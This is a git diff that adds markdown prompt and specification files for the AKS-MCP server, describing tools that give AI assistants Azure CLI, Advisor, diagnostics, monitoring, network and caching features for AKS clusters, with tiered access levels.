+โ”œโ”€โ”€ README.md # This documentation file +โ”œโ”€โ”€ monitoringservice.md # Monitoring service integration requirements +โ”œโ”€โ”€ azure-diagnostics.md # Azure diagnostics and advisory tools specifications +โ”œโ”€โ”€ azure-advisor.md # Azure Advisor recommendations integration +โ”œโ”€โ”€ azure-cli-tools.md # Azure CLI tools integration specifications +โ”œโ”€โ”€ azure-network-tools.md # Azure network resource tools specifications +โ”œโ”€โ”€ azure-resource-caching.md # Azure resource caching system specifications +โ””โ”€โ”€ azure-monitor-tools.md # Azure Monitor metrics and monitoring specifications +``` + +## AKS-MCP Server Capabilities + +The prompts in this folder are designed to test and validate the following AKS-MCP server capabilities: + +### Core Features (Currently Implemented) + +#### Azure CLI Tools Integration +- Azure CLI (`az aks`) command execution through MCP tools +- Support for read-only, read-write, and admin access levels +- Individual command registration with security validation +- Account management commands (login, account set, list subscriptions) + +#### Azure Resource Information Tools +- Virtual Network (VNet) information and configuration retrieval +- Network Security Group (NSG) rules and policies access +- Route table information and network routing details +- Subnet details and IP address management +- Load balancer configuration access (external and internal) + +#### Security and Access Control System +- Three-tier access control (readonly, readwrite, admin) +- Command injection protection and security validation +- Access level enforcement at server and tool level +- Operation categorization and permission management + +#### MCP Server Framework +- Model Context Protocol server implementation +- Multiple transport support (stdio, SSE, streamable-http) +- Dynamic tool registration based on access level +- AI assistant integration (VS Code Copilot, Claude, etc.) + +#### Azure Resource Caching System +- In-memory caching for Azure resources and API responses +- Configurable cache timeouts and automatic expiration +- Thread-safe cache operations with performance optimization +- Multi-subscription cache management + +### Future Planned Features + +#### Monitoring and Observability (In Development) +- Azure Monitor integration and dashboard access +- Log Analytics workspace queries and log retrieval +- Application Insights performance monitoring and tracing +- Alert management and notification systems +- Performance metrics collection and analysis +- Real-time monitoring and data visualization + +### Diagnostics and Advisory +- AppLens detector integration and execution +- Resource Health event monitoring and access +- Azure Advisor recommendations retrieval (simplified implementation in azure-advisor.md) +- Automated diagnostic workflows and reporting +- Proactive issue detection and remediation guidance + +### Security and Access Control +- Access level validation (readonly, readwrite, admin) +- Security policy enforcement and validation +- Authentication and authorization testing +- Role-based access control (RBAC) verification + +## Adding New Prompt Files + +When adding new prompt files to this folder: + +1. **Follow naming conventions**: Use descriptive, lowercase names with hyphens (e.g., `cluster-operations.md`) +2. **Include clear objectives**: Each file should specify what functionality it tests +3. **Provide expected behaviors**: Document what responses are expected for each prompt +4. **Add prerequisites**: List any required setup, permissions, or resources +5. **Update this README**: Add the new file to the "Existing Files" section above + diff --git a/prompts/azure-advisor.md b/prompts/azure-advisor.md new file mode 100644 index 0000000..c216063 --- /dev/null +++ b/prompts/azure-advisor.md @@ -0,0 +1,119 @@ +# Azure Advisor Tool for AKS-MCP + +Implement Azure Advisor recommendation capabilities for AKS clusters and related resources. + +## Tool: `az_advisor_recommendation` + +**Purpose**: Retrieve and manage Azure Advisor recommendations for AKS clusters + +**Parameters**: +- `operation` (required): `list`, `details`, or `report` +- `subscription_id` (required): Azure subscription ID +- `resource_group` (optional): Filter by resource group +- `cluster_names` (optional): Array of AKS cluster names to filter +- `category` (optional): `Cost`, `HighAvailability`, `Performance`, `Security` +- `severity` (optional): `High`, `Medium`, `Low` +- `recommendation_id` (optional): Required for `details` operation + +**Operations**: +- **list**: Return AKS-related recommendations with basic details +- **details**: Get comprehensive information for a specific recommendation +- **report**: Generate summary report of AKS recommendations by category + +## Implementation Steps + +1. **Use existing executor** from `internal/az/executor.go` for Azure CLI commands +2. **Parse JSON output** from Azure CLI responses +3. **Filter for AKS resources** (managedClusters, agentPools, related networking) +4. **Handle errors** gracefully with meaningful messages +5. **Return structured JSON** matching expected output format + +## Key Azure CLI Commands + +```bash +# List recommendations +az advisor recommendation list --subscription {sub} --output json + +# Get specific recommendation +az advisor recommendation show --recommendation-id {id} --output json + +# Filter by category and resource group +az advisor recommendation list --category Cost --resource-group {rg} --output json +``` + +## AKS Resource Filtering +Filter recommendations for: +- `Microsoft.ContainerService/managedClusters` +- `Microsoft.ContainerService/managedClusters/agentPools` +- Kubernetes-related load balancers and public IPs + +## Code Structure Requirements + +### File Organization +``` +internal/azure/advisor/ +โ”œโ”€โ”€ aks_recommendations.go # AKS-specific filtering and processing +โ”œโ”€โ”€ reports.go # Report generation +โ””โ”€โ”€ types.go # Data types +``` + +### Tool Registration +```go +func (s *Server) registerAdvisorTools() { + s.registerTool("az_advisor_recommendation", s.handleAdvisorRecommendation) +} +``` + +### Use Existing Executor +```go +import "github.com/Azure/aks-mcp/internal/az" + +func (s *Server) handleAdvisorRecommendation(params map[string]interface{}) (string, error) { + // Use existing executor instead of creating new CLI client + executor := az.NewExecutor() + + // Build Azure CLI command + args := []string{"advisor", "recommendation", "list", "--output", "json"} + + // Execute command using existing executor + result, err := executor.Execute("az", args, nil) + if err != nil { + return "", fmt.Errorf("failed to execute advisor command: %w", err) + } + + // Parse and filter results for AKS resources + // ... +} +``` + +## Access Level Requirements +- **Readonly**: All operations (list, details, report) +- **Readwrite**: Enhanced filtering and custom reports + +## Access Levels + +- **Readonly**: All operations supported +- **Readwrite**: Enhanced filtering options +- **Admin**: Same as readwrite (no admin-specific operations) + +## Expected Integration + +- Add tool registration in `internal/server/server.go` +- Create handlers in `internal/azure/advisor/` directory +- Follow existing error handling patterns +- Use standard JSON output format + +## Success Criteria +- โœ… Retrieve Azure Advisor recommendations for AKS resources +- โœ… Filter by category, severity, and AKS clusters +- โœ… Provide actionable implementation guidance +- โœ… Generate comprehensive advisory reports +- โœ… Handle errors gracefully with proper authentication + +## Implementation Priority +1. Basic recommendation listing with AKS filtering +2. Detailed recommendation information +3. Report generation and data aggregation +4. Performance optimization and caching + +Generate the implementation following these high-level specifications. diff --git a/prompts/azure-cli-tools.md b/prompts/azure-cli-tools.md new file mode 100644 index 0000000..5291dc7 --- /dev/null +++ b/prompts/azure-cli-tools.md @@ -0,0 +1,132 @@ +# Feature: Azure CLI (az aks) Tools Integration + +## Description +This feature implements MCP (Model Context Protocol) server tools that enable AI assistants to execute Azure CLI (`az aks`) commands directly through the AKS-MCP server. It provides a comprehensive set of Azure Kubernetes Service operations via command-line interface integration. + +## How it Works +The server registers individual `az aks` commands as separate MCP tools, allowing AI assistants to execute specific Azure CLI operations with proper security validation and access control. + +## Architecture + +### Core Components +- **Command Registry** - Defines and categorizes az aks commands with descriptions and example arguments +- **Command Executor** - Executes az CLI commands with security validation and timeout protection +- **Security Validator** - Validates commands against configured access levels and prevents unauthorized operations +- **Tool Registration** - Registers az commands as MCP tools and manages tool lifecycle + +### Command Categories +Commands are organized by access level: + +1. **Read-Only Commands** (Available at all access levels) + - `az aks show` - Show cluster details + - `az aks list` - List clusters + - `az aks get-versions` - Get available Kubernetes versions + - `az aks nodepool list` - List node pools + - `az aks nodepool show` - Show node pool details + - `az aks check-network outbound` - Network connectivity checks + +2. **Read-Write Commands** (Available at readwrite and admin access levels) + - `az aks create` - Create new clusters + - `az aks delete` - Delete clusters + - `az aks scale` - Scale clusters + - `az aks update` - Update cluster configuration + - `az aks upgrade` - Upgrade cluster version + - `az aks nodepool add/delete/scale/upgrade` - Node pool management + +3. **Admin Commands** (Available only at admin access level) + - `az aks get-credentials` - Get cluster credentials + +4. **Account Management Commands** (Available at all access levels) + - `az account list` - List subscriptions + - `az login` - Authenticate with Azure + - `az account set` - Set active subscription + +## Requirements + +### Prerequisites +- Azure CLI installed and accessible in PATH +- Valid Azure authentication (via `az login` or service principal) +- Appropriate Azure permissions for the operations being performed + +### Dependencies +- **Azure CLI**: The `az` command-line tool must be installed +- **Security Validation**: All commands are validated against the configured access level +- **Shell Execution**: Commands are executed through secure shell process handling + +## Implementation Details + +### Tool Registration Process +1. Commands are defined with names, descriptions, and example arguments +2. Each command is registered as a separate MCP tool with standardized naming +3. Tool names are generated by replacing spaces with underscores (e.g., `az aks show` โ†’ `az_aks_show`) +4. Tools are registered based on the server's access level configuration + +### Security and Access Control +- **Access Level Validation**: Commands are filtered based on readonly/readwrite/admin access levels +- **Command Validation**: All commands must pass security validation before execution +- **Binary Validation**: Only `az` commands are allowed for execution +- **Timeout Protection**: Commands have configurable execution timeouts + +### Command Execution Flow +1. AI assistant calls an az command tool with required arguments +2. Security validator checks if the command is allowed for the current access level +3. Command executor constructs and runs the az CLI command +4. Results are returned to the AI assistant in structured format + +## Usage Examples + +### Basic Cluster Information +```json +{ + "tool": "az_aks_show", + "parameters": { + "args": "--name myAKSCluster --resource-group myResourceGroup" + } +} +``` + +### List All Clusters +```json +{ + "tool": "az_aks_list", + "parameters": { + "args": "--resource-group myResourceGroup" + } +} +``` + +### Create New Cluster (readwrite/admin only) +```json +{ + "tool": "az_aks_create", + "parameters": { + "args": "--name myAKSCluster --resource-group myResourceGroup --node-count 1 --enable-addons monitoring --generate-ssh-keys" + } +} +``` + +### Node Pool Management (readwrite/admin only) +```json +{ + "tool": "az_aks_nodepool_add", + "parameters": { + "args": "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool2 --node-count 3" + } +} +``` + +## Configuration + +### Access Level Configuration +Set the access level when starting the server: +```bash +./aks-mcp --access-level readonly # Only read operations +./aks-mcp --access-level readwrite # Read and write operations +./aks-mcp --access-level admin # All operations including credentials +``` + +### Timeout Configuration +Configure command execution timeout: +```bash +./aks-mcp --timeout 600 # 10 minutes timeout (default) +``` diff --git a/prompts/azure-diagnostics.md b/prompts/azure-diagnostics.md new file mode 100644 index 0000000..c12e90b --- /dev/null +++ b/prompts/azure-diagnostics.md @@ -0,0 +1,274 @@ +# AI Implementation Prompt: Azure Diagnostics and Advisory Tools for AKS-MCP + +This prompt file provides specifications for implementing Azure diagnostic and advisory capabilities in the AKS-MCP server. + +## Implementation Request + +Generate code to add the following diagnostic and advisory tools to the AKS-MCP server: + +1. **AppLens Detector Integration** +2. **Resource Health Event Access** +3. **Azure Advisor Recommendations** + +## Required Functionality + +### 1. AppLens Detector Tools + +#### Tool: `invoke_applens_detector` +**Purpose**: Call and invoke AppLens detectors for AKS clusters + +**Parameters**: +- `cluster_resource_id` (required): Full Azure resource ID of the AKS cluster +- `detector_name` (optional): Specific detector to run, if not provided, list available detectors +- `time_range` (optional): Time range for analysis (e.g., "24h", "7d", "30d") + +**Expected Outputs**: +- List of available detectors with descriptions +- Detector execution results with findings and recommendations +- Severity levels and impact assessment +- Actionable remediation steps + +**Implementation Requirements**: +- Use Azure Management SDK for AppLens API calls +- Handle authentication via Azure credential chain +- Support both listing detectors and executing specific detectors +- Parse and format detector results for readability +- Handle rate limiting and API quotas + +#### Tool: `list_applens_detectors` +**Purpose**: List all available AppLens detectors for a cluster + +**Parameters**: +- `cluster_resource_id` (required): Full Azure resource ID of the AKS cluster +- `category` (optional): Filter by detector category (performance, security, reliability) + +**Expected Outputs**: +- Comprehensive list of available detectors +- Detector categories and descriptions +- Execution time estimates +- Prerequisites for each detector + +### 2. Resource Health Event Tools + +#### Tool: `get_resource_health_status` +**Purpose**: Access current resource health status for AKS clusters + +**Parameters**: +- `resource_ids` (required): Array of Azure resource IDs (supports multiple clusters) +- `include_history` (optional): Boolean to include recent health events + +**Expected Outputs**: +- Current health status (Available, Unavailable, Degraded, Unknown) +- Health summary with key metrics +- Active health issues and their impact +- Recommended actions for degraded health + +#### Tool: `get_resource_health_events` +**Purpose**: Retrieve historical resource health events + +**Parameters**: +- `resource_id` (required): Azure resource ID of the AKS cluster +- `start_time` (optional): Start time for historical query (ISO 8601 format) +- `end_time` (optional): End time for historical query (ISO 8601 format) +- `health_status_filter` (optional): Filter by health status types + +**Expected Outputs**: +- Historical health events with timestamps +- Event duration and impact scope +- Root cause analysis when available +- Resolution status and time to resolution + +**Implementation Requirements**: +- Use Azure Resource Health REST API +- Support filtering by time range and health status +- Handle large datasets with pagination +- Provide clear event categorization and severity + +### 3. Azure Advisor Tools + +#### Tool: `get_azure_advisor_recommendations` +**Purpose**: Access active Azure Advisor recommendations + +**Parameters**: +- `subscription_id` (required): Azure subscription ID +- `resource_group` (optional): Filter by specific resource group +- `category` (optional): Filter by recommendation category (Cost, Performance, Security, Reliability) +- `severity` (optional): Filter by severity level (High, Medium, Low) + +**Expected Outputs**: +- List of active recommendations with descriptions +- Severity levels and priority ranking +- Estimated impact and potential savings +- Implementation guidance and steps + +#### Tool: `get_advisor_recommendation_details` +**Purpose**: Get detailed information about specific recommendations + +**Parameters**: +- `recommendation_id` (required): Unique identifier for the recommendation +- `include_implementation_status` (optional): Include tracking of implementation progress + +**Expected Outputs**: +- Detailed recommendation description +- Technical implementation steps +- Risk assessment and impact analysis +- Cost-benefit analysis where applicable + +**Implementation Requirements**: +- Use Azure Advisor REST API +- Support filtering and querying capabilities +- Parse recommendation metadata and content +- Handle recommendation state changes and dismissals + +## Technical Implementation Guidelines + +### Authentication and Authorization +```go +// Use Azure SDK default credential chain +credential, err := azidentity.NewDefaultAzureCredential(nil) +if err != nil { + return fmt.Errorf("failed to create Azure credential: %w", err) +} +``` + +### Error Handling +- Implement comprehensive error handling for API failures +- Provide meaningful error messages for permission issues +- Handle service outages and rate limiting gracefully +- Log diagnostic information for troubleshooting + +### Data Processing +- Parse and format API responses for readability +- Implement caching for frequently accessed data +- Support real-time and historical data queries +- Provide data aggregation and correlation capabilities + +### Integration with MCP Framework +- Follow existing MCP tool patterns in the codebase +- Integrate with current authentication and configuration systems +- Support all access levels (readonly, readwrite, admin) +- Maintain consistent error handling and logging + +## Code Structure Requirements + +### File Organization +``` +internal/azure/ +โ”œโ”€โ”€ applens/ +โ”‚ โ”œโ”€โ”€ client.go # AppLens API client +โ”‚ โ”œโ”€โ”€ detectors.go # Detector management +โ”‚ โ””โ”€โ”€ types.go # AppLens data types +โ”œโ”€โ”€ resourcehealth/ +โ”‚ โ”œโ”€โ”€ client.go # Resource Health API client +โ”‚ โ”œโ”€โ”€ events.go # Health event handling +โ”‚ โ””โ”€โ”€ types.go # Resource Health data types +โ””โ”€โ”€ advisor/ + โ”œโ”€โ”€ client.go # Azure Advisor API client + โ”œโ”€โ”€ recommendations.go # Recommendation handling + โ””โ”€โ”€ types.go # Advisor data types +``` + +### Tool Registration +```go +// Add to internal/server/server.go +func (s *Server) registerDiagnosticTools() { + s.registerTool("invoke_applens_detector", s.handleAppLensDetector) + s.registerTool("list_applens_detectors", s.handleListAppLensDetectors) + s.registerTool("get_resource_health_status", s.handleResourceHealthStatus) + s.registerTool("get_resource_health_events", s.handleResourceHealthEvents) + s.registerTool("get_azure_advisor_recommendations", s.handleAdvisorRecommendations) + s.registerTool("get_advisor_recommendation_details", s.handleAdvisorDetails) +} +``` + +### Configuration Support +- Add configuration options for API endpoints and timeouts +- Support custom authentication methods +- Allow configuration of default time ranges and filters +- Enable/disable specific diagnostic tools based on access level + +## Testing Requirements + +### Unit Tests +- Test each tool with various input parameters +- Mock Azure API responses for consistent testing +- Validate error handling and edge cases +- Test authentication and authorization scenarios + +### Integration Tests +- Test with real Azure resources (in test environment) +- Validate API integration and data parsing +- Test performance with large datasets +- Verify cross-tool data correlation + +### Example Test Cases +```go +func TestAppLensDetectorInvocation(t *testing.T) { + // Test invoking specific detector + // Test listing available detectors + // Test error handling for invalid clusters +} + +func TestResourceHealthEvents(t *testing.T) { + // Test current health status retrieval + // Test historical event queries + // Test filtering and pagination +} + +func TestAzureAdvisorRecommendations(t *testing.T) { + // Test recommendation retrieval + // Test filtering by category and severity + // Test detailed recommendation access +} +``` + +## Documentation Requirements + +### Tool Documentation +- Provide comprehensive tool descriptions +- Include parameter specifications and examples +- Document expected outputs and formats +- Include troubleshooting guides + +### API Documentation +- Document Azure API endpoints used +- Include authentication requirements +- Provide rate limiting and quota information +- Include service availability considerations + +## Success Criteria + +### Functional Requirements +- โœ… Successfully invoke AppLens detectors and retrieve results +- โœ… Access current and historical Resource Health events +- โœ… Retrieve Azure Advisor recommendations with severity levels +- โœ… Provide actionable insights and recommendations +- โœ… Handle errors and edge cases gracefully + +### Performance Requirements +- โœ… Respond to diagnostic queries within reasonable time (< 30s) +- โœ… Handle multiple concurrent requests efficiently +- โœ… Cache frequently accessed data appropriately +- โœ… Scale with cluster count and data volume + +### Security Requirements +- โœ… Implement proper Azure authentication and authorization +- โœ… Respect Azure RBAC and subscription boundaries +- โœ… Protect sensitive diagnostic information +- โœ… Log security events and access attempts + +### Integration Requirements +- โœ… Seamlessly integrate with existing AKS-MCP architecture +- โœ… Follow established code patterns and conventions +- โœ… Support all configured access levels +- โœ… Maintain backward compatibility + +## Implementation Priority + +1. **Phase 1**: Basic AppLens detector invocation +2. **Phase 2**: Resource Health event access +3. **Phase 3**: Azure Advisor recommendation retrieval +4. **Phase 4**: Advanced filtering and correlation features +5. **Phase 5**: Performance optimization and caching + +Generate the implementation code following these specifications, ensuring robust error handling, comprehensive testing, and clear documentation. \ No newline at end of file diff --git a/prompts/azure-monitor-tools.md b/prompts/azure-monitor-tools.md new file mode 100644 index 0000000..85ed1f7 --- /dev/null +++ b/prompts/azure-monitor-tools.md @@ -0,0 +1,164 @@ +# Azure Monitor Tools for AKS-MCP + +Implement Azure Monitor capabilities for AKS clusters and related Azure resources. + +## Overview + +This component provides Azure Monitor command-line tools for retrieving metrics, managing diagnostic settings, and monitoring Azure resources through the Azure CLI. + +## Supported Commands + +### Metrics Commands + +#### `az_monitor_metrics_list` +**Purpose**: List the metric values for a resource + +**Parameters**: +- `args` (required): Arguments for the `az monitor metrics list` command + +**Example Usage**: +```bash +--resource /subscriptions/{subscription}/resourceGroups/{resourceGroup}/providers/Microsoft.Compute/virtualMachines/{vmName} --metric "Percentage CPU" +``` + +#### `az_monitor_metrics_list-definitions` +**Purpose**: List the metric definitions for a resource + +**Parameters**: +- `args` (required): Arguments for the `az monitor metrics list-definitions` command + +**Example Usage**: +```bash +--resource /subscriptions/{subscription}/resourceGroups/{resourceGroup}/providers/Microsoft.ContainerService/managedClusters/{clusterName} +``` + +#### `az_monitor_metrics_list-namespaces` +**Purpose**: List the metric namespaces for a resource + +**Parameters**: +- `args` (required): Arguments for the `az monitor metrics list-namespaces` command + +**Example Usage**: +```bash +--resource /subscriptions/{subscription}/resourceGroups/{resourceGroup}/providers/Microsoft.ContainerService/managedClusters/{clusterName} +``` + +## Implementation Details + +### File Organization +``` +internal/components/monitor/ +โ”œโ”€โ”€ registry.go # Command registration and tool definitions +โ””โ”€โ”€ registry_test.go # Unit tests for the registry +``` + +### Tool Registration +Tools are automatically registered in the MCP server based on access level: +- **Read-only**: All metric listing commands +- **Read-write**: Currently empty (placeholder for future features) +- **Admin**: Currently empty (placeholder for future features) + +### Command Structure +Each monitor command follows the `MonitorCommand` structure: +```go +type MonitorCommand struct { + Name string // Full Azure CLI command name + Description string // Human-readable description + ArgsExample string // Example arguments + Category string // Command category (e.g., "metrics") +} +``` + +### Integration with Server +The monitor commands are registered in `internal/server/server.go`: +```go +// Register read-only az monitor commands (available at all access levels) +for _, cmd := range monitor.GetReadOnlyMonitorCommands() { + log.Println("Registering az monitor command:", cmd.Name) + azTool := monitor.RegisterMonitorCommand(cmd) + commandExecutor := azcli.CreateCommandExecutorFunc(cmd.Name) + s.mcpServer.AddTool(azTool, tools.CreateToolHandler(commandExecutor, s.cfg)) +} +``` + +## Access Level Requirements + +### Readonly Access +- โœ… `az monitor metrics list` - List metric values +- โœ… `az monitor metrics list-definitions` - List metric definitions +- โœ… `az monitor metrics list-namespaces` - List metric namespaces + +### Readwrite Access +- Inherits all readonly commands +- ๐Ÿ”„ *Future: Additional monitoring configuration commands* + +### Admin Access +- Inherits all readwrite commands +- ๐Ÿ”„ *Future: Advanced monitoring management commands* + +## Common Use Cases + +### AKS Cluster Monitoring +Monitor AKS cluster performance and health: +```bash +# Get cluster metrics +az monitor metrics list --resource /subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.ContainerService/managedClusters/{cluster} + +# List available metrics for AKS cluster +az monitor metrics list-definitions --resource /subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.ContainerService/managedClusters/{cluster} + +az monitor metrics list --resource /subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.ContainerService/managedClusters/{cluster} --metric apiserver_cpu_usage_percentage --interval PT1M --aggregation Average --output table +``` + + + +## Error Handling + +The monitor tools leverage the existing error handling infrastructure: +- Azure CLI authentication errors are handled gracefully +- Invalid resource IDs return descriptive error messages +- Network connectivity issues are properly reported +- Malformed arguments are validated before execution + +## Future Enhancements + +### Planned Read-Write Features +- Diagnostic settings management +- Alert rule configuration +- Action group management +- Log Analytics workspace operations + +### Planned Admin Features +- Advanced monitoring configuration +- Custom metric definitions +- Cross-subscription monitoring setup + +## Testing + +Comprehensive unit tests cover: +- Command registration functionality +- Tool creation and validation +- Command structure validation +- Integration with MCP framework + +Run tests with: +```bash +go test -v ./internal/components/monitor/... +``` + +## Integration Examples + +### Using with Claude/AI Assistants +``` +"Please show me the CPU metrics for my AKS cluster named 'prod-cluster' in resource group 'production'" + +This would translate to: +az_monitor_metrics_list with args: "--resource /subscriptions/{sub}/resourceGroups/production/providers/Microsoft.ContainerService/managedClusters/prod-cluster --metric 'CPU Usage'" +``` + +## Dependencies + +- Azure CLI (`az` command) must be installed and configured +- Valid Azure authentication (service principal or user login) +- Appropriate RBAC permissions for target resources +- Network connectivity to Azure endpoints diff --git a/prompts/azure-network-tools.md b/prompts/azure-network-tools.md new file mode 100644 index 0000000..e19ec2b --- /dev/null +++ b/prompts/azure-network-tools.md @@ -0,0 +1,77 @@ +# Feature: Azure Resource Information Tools + +## Description +This feature implements MCP (Model Context Protocol) server tools that enable AI assistants to retrieve detailed information about Azure networking resources associated with AKS clusters. It provides direct Azure SDK integration to access VNets, Network Security Groups, Route Tables, Subnets, and Load Balancers. + +## How it Works +The server uses Azure SDK clients to query Azure Resource Manager APIs and retrieve detailed configuration information for networking resources that are associated with AKS clusters. Unlike CLI tools, these use direct API calls for faster and more structured responses. + +## Architecture + +### Core Components +- **Azure Client** - Multi-subscription Azure SDK client with caching capabilities +- **Resource Handlers** - Handlers for each resource type that process requests and return structured data +- **Resource Helpers** - Helper functions to discover resource relationships and extract resource IDs +- **Tool Registry** - MCP tool definitions for each resource type with parameter specifications +- **Caching Layer** - Resource caching for performance optimization + +### Supported Resource Types + +1. **Virtual Networks (VNet)** + - Tool: `get_vnet_info` + - Retrieves VNet configuration, address spaces, and subnets + +2. **Network Security Groups (NSG)** + - Tool: `get_nsg_info` + - Retrieves NSG rules, security configurations, and associations + +3. **Route Tables** + - Tool: `get_route_table_info` + - Retrieves routing rules and route configurations + +4. **Subnets** + - Tool: `get_subnet_info` + - Retrieves subnet configuration, IP ranges, and associated resources + +5. **Load Balancers** + - Tool: `get_load_balancers_info` + - Retrieves both external and internal load balancer configurations + +## Requirements + +### Prerequisites +- Valid Azure authentication (service principal, managed identity, or Azure CLI) +- Azure subscription access with appropriate read permissions +- Network Contributor or Reader role on the resources being queried + +### Dependencies +- **Azure SDK for Go**: Required for Azure Resource Manager API interactions +- **Azure Identity**: Default Azure credential chain for authentication +- **MCP Go**: For MCP protocol implementation and tool definitions + +## Implementation Details + +### Resource Discovery Process +1. **Cluster Lookup**: First, retrieve the AKS cluster details using subscription ID, resource group, and cluster name +2. **Resource ID Extraction**: Extract networking resource IDs from the cluster configuration +3. **Resource Details Retrieval**: Query Azure APIs for detailed resource information +4. **Structured Response**: Return resource data in structured JSON format + +### Caching Strategy +- **Multi-level Caching**: Client-level caching for Azure SDK clients and resource-level caching for API responses +- **Subscription-based Clients**: Separate Azure clients per subscription for better performance +- **Cache Invalidation**: Automatic cache refresh based on configurable time-to-live + +### Error Handling +- **Resource Not Found**: Graceful handling when resources don't exist or aren't associated +- **Permission Errors**: Clear error messages for insufficient permissions +- **Network Timeouts**: Retry logic for transient network failures + +## Tool Specifications + +### Common Parameters +All resource tools require these parameters: +- `subscription_id` (required): Azure Subscription ID +- `resource_group` (required): Azure Resource Group containing the AKS cluster +- `cluster_name` (required): Name of the AKS cluster + diff --git a/prompts/azure-resource-caching.md b/prompts/azure-resource-caching.md new file mode 100644 index 0000000..4a098c7 --- /dev/null +++ b/prompts/azure-resource-caching.md @@ -0,0 +1,56 @@ +# Feature: Azure Resource Caching System + +## Description +This feature implements a comprehensive in-memory caching system for Azure resources that significantly improves performance by reducing Azure API calls and providing faster response times for frequently accessed resources. The caching system is integrated into the Azure client and provides automatic cache management with configurable expiration times. + +## How it Works +The caching system intercepts Azure SDK calls and stores resource information in memory with time-based expiration. When a resource is requested, the system first checks the cache before making an API call to Azure. This reduces latency, minimizes Azure API rate limiting, and improves overall server performance. + +## Architecture + +### Core Components +- **Azure Cache** - Generic in-memory cache implementation with time-based expiration +- **Azure Client Integration** - Cache integration with Azure SDK clients for transparent caching +- **Configuration Management** - Configurable cache timeout and expiration settings +- **Thread Safety** - Concurrent access protection with read-write mutexes +- **Automatic Expiration** - Time-based cache invalidation and cleanup + +## Cached Resource Types + +### Azure Kubernetes Service Resources +- **AKS Clusters**: Complete cluster configuration and status +- **Node Pools**: Node pool details and configuration +- **Cluster Credentials**: Authentication and access information + +### Networking Resources +- **Virtual Networks (VNets)**: VNet configuration and address spaces +- **Subnets**: Subnet details and IP allocations +- **Network Security Groups (NSGs)**: Security rules and associations +- **Route Tables**: Routing configuration and rules +- **Load Balancers**: Load balancer configuration and backend pools + +### Resource Metadata +- **Resource Hierarchies**: Parent-child relationships between resources +- **Resource IDs**: Azure resource identifiers and references +- **Resource States**: Current operational state of resources + +## Cache Key Strategy + +### Hierarchical Key Structure +Cache keys follow a structured pattern for easy management and retrieval: + +``` +Format: resource:type:subscription:resourcegroup:name + +Examples: +- "resource:cluster:12345678-1234-1234-1234-123456789012:myRG:myCluster" +- "resource:vnet:12345678-1234-1234-1234-123456789012:networkRG:myVNet" +- "resource:nsg:12345678-1234-1234-1234-123456789012:aksRG:myNSG" +- "resource:routetable:12345678-1234-1234-1234-123456789012:aksRG:myRT" +``` + +### Key Benefits +- **Predictable Structure**: Easy to construct and understand +- **Collision Avoidance**: Unique keys across all Azure subscriptions +- **Scope Isolation**: Resources isolated by subscription and resource group +- **Type Organization**: Clear resource type identification diff --git a/prompts/monitoringservice.md b/prompts/monitoringservice.md new file mode 100644 index 0000000..186c846 --- /dev/null +++ b/prompts/monitoringservice.md @@ -0,0 +1,26 @@ +Feature: Add MCP (Monitoring Control Plane) server +// Description: +// Implement a service (MCP server) that connects to any attached monitoring services for a given AKS cluster. +// The server should expose APIs or a UI to perform the following tasks: +// +// 1. Read and query Azure Log Analytics workspaces linked to the cluster: +// - Retrieve control plane logs +// - Query audit logs +// - Fetch historical logs for nodes and pods +// +// 2. Read and visualize metrics from Managed Prometheus (AMP): +// - Access Prometheus scrape endpoint via Azure Monitor +// - Display basic dashboard visualizations (e.g., CPU, memory, network) +// +// 3. Access and query Application Insights: +// - Read distributed trace data +// - Enable filtering by operation name, request ID, service name, etc. +// +// Requirements: +// - Use Azure SDKs (Go or Python preferred) +// - Support authentication via kubeconfig or managed identity +// - Implement minimal RESTful API to trigger each of the above + +// +// Goal: +// Provide a dev-friendly mcp implementation for AKS clusters with access to log/metric/trace data via attached services. \ No newline at end of file